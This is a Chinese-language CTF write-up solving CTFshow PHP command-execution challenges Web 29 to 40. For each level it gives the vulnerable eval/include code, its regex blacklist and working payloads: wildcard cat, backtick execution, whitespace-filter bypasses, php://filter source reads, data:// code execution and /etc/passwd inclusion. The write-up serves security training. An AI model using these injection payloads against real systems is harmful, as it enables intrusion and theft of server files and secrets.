CTFshow——命令执行(持续更新)

可以事先看一下这篇文章方便做题 命令执行小技巧

Web 29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
     if(!preg_match("/flag/i", $c))

{
        eval($c);
    }
    
}else{
    highlight_file(__FILE__); 

一.分析代码:

 if(!preg_match("/flag/i", $c))

preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。从这句可以看出过滤了flag

二.解题过程:

方法一:
eveal函数
CTFshow——命令执行(持续更新)传入

?c=echo ‘’?><?php system(‘ls’);

可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取
payload:

?c=echo ‘’?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

关于ls命令的解释
方法二:
采用的是阿狸师傅的方法 阿狸师傅的讲解视频
1.首先查看一下php的版本,访问一下发现是7

?c=phpinfo();

2.接下来查看一下发现没有禁用函数
CTFshow——命令执行(持续更新)3.扫描一下当前目录有什么文件,发现有flag.php

?c=print_r(scandir("."));

CTFshow——命令执行(持续更新)
4.经过一系列的尝试发现可以采用写入文件的方法

?c=system(“cat *php >>2.txt”);
*php是后缀为php,本句的意思是将后缀为php的写入2.txt中

5.之后访问/2.txt,即可得到flag
CTFshow——命令执行(持续更新)方法三:
涉及的知识点是通用符
我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

?c=echo system('cat f*');

Web 30

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php

二.解题过程

方法一:
还是同29题方法
payload:

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:
还是采用的阿狸师傅的方法 阿狸师傅的讲解视频
1.事先了解以下

echo ls(输出ls)
`echo ls`(执行echo ls 命令)

2.如果在flag.php中直接写入flag

用cat ????.???可以输出flag
用echo cat ????.???可以输出 cat flag.php
用echo `cat ????.???`可以输出flag

但是都试一下发现并没有出现flag
3.是因为flag.php中可能是这样写入的

<?php
$flag

将flag当成变量,把程序进行了解析,执行了
4.那么我们就可以借鉴29题的思路,写入1.txt中

 /?c=echo`cat ????.??? >> 1.txt`;

5.访问1.txt,即可得到flag
CTFshow——命令执行(持续更新)方法三:
反引号执行系统命令
使用通配符或*绕过过滤flag和php

?c=echo `cat f*`;

Web 31

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

过滤了flag,system,php,cat,sort,shell,空格,单引号,.

二.解题思路:

方法一:
1.涉及的知识点:

空格过滤

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat过滤

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以*的向上向下翻页,也可以*的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

2.我们可以构造playload:

?c=echo(`tac%09f*`);
?c=echo(`tail%09f*`);
需要查看源码:
?c=echo(`nl%09f*`);
?c=echo(`less%09f*`);
?c=echo(`more%09f*`);

还有很多据不一一列举了
方法二:
采用include结合伪协议进行包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 32

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.

二.解题过程:

php中有许多不用括号的函数

<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>

尝试include"/etc/passwd"?>可以执行,且代码没有过滤$,用c=include"$_POST[x]"?>或者c=include"$_GET[x]"?>然后用php伪协议将include包含的文件在页面上显示出来

payload:?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,分号,单引号,双引号,空格,括号,.,`

二.解题过程:

思路同上,但是本题过滤了单双引号

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 34

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,冒号,分号,括号,.,`

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 35

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,分号,等号,冒号,括号,<,.,`

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 36

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,数字,分号,等号,冒号,括号,<,.,`,/

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 37

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/flag/i", $c)){
        include($c);

过滤了flag ,又是 include 文件包含

二.解题过程:

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

方法一:
flag使用*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag
方法二:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64解码为<?php system('cat flag.php');?>
查看源码即可得到flag

Web 38

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|php|file/i", $c)){
        include($c);

原理同上一题,多了个php过滤

二.解题过程:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web 39

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

  if(!preg_match("/flag/i", $c)){
        include($c.".php");

过滤了flag,限制了.php后缀

二.解题过程:

我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag
这样就相当于执行了php语句<?php system('cat f*')?>.php

Web 40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号

二.解题过程:

事先我们可以先了解一下:
无参数读文件和RCE总结 [GXYCTF2019]禁止套娃
PHP Parametric Function RCE

涉及的知识点:
读文件+数组改造

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

CTFshow——命令执行(持续更新)我们的目的很明确,得到倒数第二个元素。直接将数组逆序在将指针调整到下一个就好了。
CTFshow——命令执行(持续更新)
CTFshow——命令执行(持续更新)
CTFshow——命令执行(持续更新)

上一篇:ctfshow萌新隐写5


下一篇:CTFshow--WEB入门(持续更新)